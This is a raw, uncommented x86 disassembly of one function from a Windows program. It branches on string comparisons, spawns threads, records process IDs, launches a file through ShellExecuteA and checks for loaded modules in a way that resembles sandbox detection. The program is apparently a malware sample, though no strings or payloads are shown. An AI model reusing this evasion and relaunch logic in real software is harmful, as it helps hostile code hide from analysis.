push dword [ebp - 0x2a4]
push 0x4231d4
lea edx, [ebp - 0x2ac]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
push dword [ebp - 0x2ac]
push 0x4231e0
lea eax, [ebp - 0x2a0]
mov edx, 4
call fcn.0040436c
mov eax, dword [ebp - 0x2a0]
call fcn.0041c0bc
test al, al
jne 0x4223ce
mov eax, 0x42356c
call fcn.0041be00
lea eax, [ebp - 0x2b0]
call fcn.0041d1dc
mov eax, dword [ebp - 0x2b0]
call fcn.0041cc50
lea eax, [ebp - 0x2b4]
call fcn.0041d1dc
mov edx, dword [ebp - 0x2b4]
mov eax, 0x42a6a8
call fcn.00404060
cmp dword [0x42a6a8], 0
je 0x4223ce
push dword [0x42a6a8]
lea edx, [ebp - 0x2b8]
mov eax, 3
call fcn.0041de80
push dword [ebp - 0x2b8]
push 0x423598
mov eax, 0x42a6a8
mov edx, 3
call fcn.0040436c
lea eax, [ebp - 0x2bc]
call fcn.0041e838
lea eax, [ebp - 0x2bc]
mov edx, 0x4235a4
call fcn.004042b4
mov edx, dword [ebp - 0x2bc]
mov ecx, dword [0x426430]
mov ecx, dword [ecx]
mov eax, dword [0x42a6a8]
call fcn.0041d69c
mov edx, dword [0x4263a4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.0041baa8
call sym.win32.dll_StartAs
jmp 0x4224bc
lea eax, [ebp - 0x2c0]
call fcn.0041d2bc
push dword [ebp - 0x2c0]
lea edx, [ebp - 0x2c4]
mov eax, 4
call fcn.0041de80
push dword [ebp - 0x2c4]
push 0x4235c4
mov eax, 0x42a6a8
mov edx, 3
call fcn.0040436c
lea eax, [ebp - 0x2c8]
call fcn.0041d2bc
push dword [ebp - 0x2c8]
lea edx, [ebp - 0x2cc]
mov eax, 4
call fcn.0041de80
push dword [ebp - 0x2cc]
push 0x423598
mov eax, 0x42a6ac
mov edx, 3
call fcn.0040436c
mov edx, dword [0x426430]
mov edx, dword [edx]
mov ecx, dword [0x42a6ac]
mov eax, dword [0x42a6a8]
call fcn.0041ce5c
push 0x64
call sub.kernel32.dll_Sleep
mov edx, dword [0x42a6a8]
mov eax, dword [0x42a6ac]
call fcn.0041d45c
push 0x64
call sub.kernel32.dll_Sleep
push 0
push 0
push 0
mov eax, dword [0x42a6ac]
call fcn.004044a4
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0x64
call sub.kernel32.dll_Sleep
call fcn.00403ea0
push 0x4235cc
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
jne 0x4224e6
push 0x4235d8
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
jne 0x4224e6
push 0x4235e8
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x4224ee
mov eax, dword [0x426478]
mov byte [eax], 1
lea edx, [ebp - 0x2d0]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2d0]
mov edx, 0x4235fc
call fcn.004043f0
jne 0x4225da
mov eax, dword [0x426504]
mov byte [eax], 1
mov eax, dword [0x4263d0]
mov byte [eax], 1
mov eax, dword [0x426478]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x4225da
mov eax, dword [0x4263a4]
mov eax, dword [eax + 0x116c]
call fcn.00415fe8
test al, al
jne 0x42259e
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
mov eax, dword [0x4263a4]
mov dword [eax + 0x116c], ebx
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x116c
mov eax, dword [0x4263a4]
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041e3fc
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
call sub.kernel32.dll_GetCurrentProcessId
call fcn.0041ad9c
test al, al
jne 0x4225da
call fcn.0041655c
test al, al
jne 0x4225da
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x4225da
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x2d4]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2d4]
mov edx, 0x423610
call fcn.004043f0
jne 0x4226b8
mov eax, dword [0x426504]
mov byte [eax], 1
mov eax, dword [0x4263d0]
mov byte [eax], 1
mov eax, dword [0x426478]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x4226b8
mov eax, dword [0x4263a4]
mov eax, dword [eax + 0x1160]
call fcn.00415fe8
test al, al
jne 0x4226b8
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
mov eax, dword [0x4263a4]
mov dword [eax + 0x1160], ebx
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1160
mov eax, dword [0x4263a4]
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041e3fc
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
call fcn.0041655c
test al, al
jne 0x4226b8
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x4226b8
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x2d8]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2d8]
mov edx, 0x423628
call fcn.004043f0
jne 0x422750
mov eax, dword [0x4263d0]
mov byte [eax], 1
mov eax, dword [0x426478]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x422750
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
call fcn.0041655c
test al, al
jne 0x422750
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x422750
lea eax, [ebp - 0x2dc]
call fcn.0041d2bc
mov eax, dword [ebp - 0x2dc]
call fcn.0041cc50
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x2e0]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2e0]
mov edx, 0x423640
call fcn.004043f0
jne 0x4227c9
mov eax, dword [0x4263d0]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x4227c9
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x4227c9
call fcn.0041655c
test al, al
jne 0x4227c9
lea eax, [ebp - 0x2e4]
call fcn.0041d2bc
mov eax, dword [ebp - 0x2e4]
call fcn.0041cc50
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x2e8]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2e8]
mov edx, 0x423654
call fcn.004043f0
jne 0x422842
mov eax, dword [0x4263d0]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x422842
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x422842
call fcn.0041655c
test al, al
jne 0x422842
lea eax, [ebp - 0x2ec]
call fcn.0041d2bc
mov eax, dword [ebp - 0x2ec]
call fcn.0041cc50
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x2f0]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2f0]
mov edx, 0x423668
call fcn.004043f0
jne 0x4228e2
mov eax, dword [0x426504]
mov byte [eax], 1
mov eax, dword [0x4263d0]
mov byte [eax], 1
mov eax, dword [0x426478]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x4228e2
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
call fcn.0041655c
test al, al
jne 0x4228e2
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x4228e2
lea eax, [ebp - 0x2f4]
call fcn.0041d2bc
mov eax, dword [ebp - 0x2f4]
call fcn.0041cc50
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x2f8]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x2f8]
mov edx, 0x42367c
call fcn.004043f0
jne 0x422982
mov eax, dword [0x426504]
mov byte [eax], 1
mov eax, dword [0x4263d0]
mov byte [eax], 1
mov eax, dword [0x426478]
mov byte [eax], 1
call fcn.0041ac9c
test al, al
jne 0x422982
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
call fcn.0041655c
test al, al
jne 0x422982
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x422982
lea eax, [ebp - 0x2fc]
call fcn.0041d2bc
mov eax, dword [ebp - 0x2fc]
call fcn.0041cc50
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x300]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x300]
mov edx, 0x423690
call fcn.004043f0
jne 0x4229ab
call fcn.0041fac0
lea edx, [ebp - 0x304]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x304]
mov edx, 0x423558
call fcn.004043f0
jne 0x422c01
mov eax, dword [0x4263a4]
mov eax, dword [eax + 0x1170]
call fcn.004160d0
test al, al
je 0x4229f9
mov eax, dword [0x4263a4]
cmp dword [eax + 0x1170], 0
jne 0x422c01
mov edx, dword [0x4263a4]
xor eax, eax
mov byte [edx + 0x1108], al
push 0
push 0
mov edx, dword [0x4263a4]
push eax
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1108
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
mov eax, dword [0x4263a4]
mov byte [eax + 0x1109], 0
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1109
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
mov edx, dword [0x4263a4]
xor eax, eax
mov dword [edx + 0x1120], eax
push 0
push 0
push 0
mov edx, dword [0x4264ec]
mov edx, dword [edx]
push edx
push 0x1120
mov edx, dword [0x4263a4]
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041e3fc
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
mov eax, dword [0x4263a4]
mov dword [eax + 0x1170], ebx
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1158
mov eax, dword [0x4263a4]
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041e3fc
mov eax, dword [0x426504]
mov byte [eax], 0
mov eax, dword [0x4263d0]
mov byte [eax], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1109], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x110b], 1
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1108
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1109
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x110b
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
push 0
push 0
push 0x42a6b8
mov ecx, 0x4161c4
xor edx, edx
xor eax, eax
call fcn.00403fc8
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
push 0
push 0
push 0x42a6b8
mov ecx, 0x4200dc
xor edx, edx
xor eax, eax
call fcn.00403fc8
push 0
push 0
push 0x42a6b8
mov ecx, 0x4209f4
xor edx, edx
xor eax, eax
call fcn.00403fc8
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110a], 0
je 0x422c01
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x110a
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x426374]
mov dword [edx], eax
mov eax, dword [0x426374]
mov edx, 0x4236a8
call fcn.00417c4c
lea edx, [ebp - 0x308]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x308]
mov edx, 0x4236c4
call fcn.004043f0
jne 0x422dc1
mov eax, dword [0x4263a4]
mov eax, dword [eax + 0x1168]
call fcn.00415fe8
test al, al
jne 0x422da1
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
mov eax, dword [0x4263a4]
mov dword [eax + 0x1168], ebx
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1168
mov eax, dword [0x4263a4]
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041e3fc
push 0
push 0
push 0x42a6b8
mov ecx, 0x4200dc
xor edx, edx
xor eax, eax
call fcn.00403fc8
call fcn.0041c158
call fcn.00415260
cmp eax, 0x3c
jae 0x422ca4
call fcn.0041fea0
call fcn.0041ac9c
test al, al
jne 0x422dc1
mov edx, dword [0x4263a4]
xor eax, eax
mov byte [edx + 0x1108], al
push 0
push 0
mov edx, dword [0x4263a4]
push eax
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1108
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
mov eax, dword [0x4263a4]
mov byte [eax + 0x1109], 0
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x1109
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x422dc1
mov edx, dword [0x4263a4]
xor eax, eax
mov dword [edx + 0x1120], eax
push 0
push 0
push 0
mov edx, dword [0x4264ec]
mov edx, dword [edx]
push edx
push 0x1120
mov edx, dword [0x4263a4]
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041e3fc
push 0
push 0
push 0x42a6b8
mov ecx, 0x4161c4
xor edx, edx
xor eax, eax
call fcn.00403fc8
push 0
push 0
push 0x42a6b8
mov ecx, 0x4209f4
xor edx, edx
xor eax, eax
call fcn.00403fc8
push 0
push 0
push 0x42a6b8
mov ecx, 0x414fcc
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp 0x422dc1
call fcn.0041ac9c
test al, al
je 0x422dc1
push 0
push 0
push 0x42a6b8
mov ecx, 0x4200dc
xor edx, edx
xor eax, eax
call fcn.00403fc8
lea edx, [ebp - 0x30c]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x30c]
mov edx, 0x4236dc
call fcn.004043f0
jne 0x422e04
mov eax, 0x4236e8
mov edx, dword [0x426398]
mov dword [edx], eax
mov eax, 0x42372c
mov edx, dword [0x42640c]
mov dword [edx], eax
call fcn.0041fd8c
lea edx, [ebp - 0x310]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x310]
mov edx, 0x423774
call fcn.004043f0
jne 0x422e69
call fcn.0041fbdc
push 0
push 0
push 0x42a6b8
mov ecx, 0x41ac80
xor edx, edx
xor eax, eax
call fcn.00403fc8
mov eax, dword [0x4263a4]
cmp byte [eax + 0x110b], 0
jne 0x422e69
push 0
push 0
push 0x42a6b8
mov ecx, 0x420a8c
xor edx, edx
xor eax, eax
call fcn.00403fc8
call sub.kernel32.dll_GetCurrentProcessId
lea edx, [ebp - 0x318]
call fcn.00415704
mov eax, dword [ebp - 0x318]
lea edx, [ebp - 0x314]
call fcn.00407678
mov eax, dword [ebp - 0x314]
mov edx, 0x423788
call fcn.004043f0
je 0x422f0c
call sub.kernel32.dll_GetCurrentProcessId
lea edx, [ebp - 0x320]
call fcn.00415704
mov eax, dword [ebp - 0x320]
lea edx, [ebp - 0x31c]
call fcn.00407678
mov eax, dword [ebp - 0x31c]
mov edx, 0x423798
call fcn.004043f0
je 0x422f0c
call sub.kernel32.dll_GetCurrentProcessId
lea edx, [ebp - 0x328]
call fcn.00415704
mov eax, dword [ebp - 0x328]
lea edx, [ebp - 0x324]
call fcn.00407678
mov eax, dword [ebp - 0x324]
mov edx, 0x4237b0
call fcn.004043f0
je 0x422f0c
mov eax, dword [0x4263d0]
mov byte [eax], 1
jmp 0x422f14
mov eax, dword [0x4263d0]
mov byte [eax], 0
lea edx, [ebp - 0x32c]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x32c]
mov edx, 0x4236c4
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x330]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x330]
mov edx, 0x423558
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x334]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x334]
mov edx, 0x42311c
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x338]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x338]
mov edx, 0x423234
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x33c]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x33c]
mov edx, 0x423690
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x340]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x340]
mov edx, 0x42313c
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x344]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x344]
mov edx, 0x423150
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x348]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x348]
mov edx, 0x423164
call fcn.004043f0
je 0x423087
lea edx, [ebp - 0x34c]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x34c]
mov edx, 0x423178
call fcn.004043f0
je 0x423087
push 0
push 0
push 0x42a6b8
mov ecx, 0x4200dc
xor edx, edx
xor eax, eax
call fcn.00403fc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4230dd
lea eax, [ebp - 0x34c]
mov edx, 0x62
call fcn.00404030
lea eax, [ebp - 0xc4]
call fcn.0040400c
lea eax, [ebp - 0xbc]
call fcn.0040400c
lea eax, [ebp - 0xc0]
call fcn.0040400c
lea eax, [ebp - 0xb8]
mov edx, 0x1f
call fcn.00404030
ret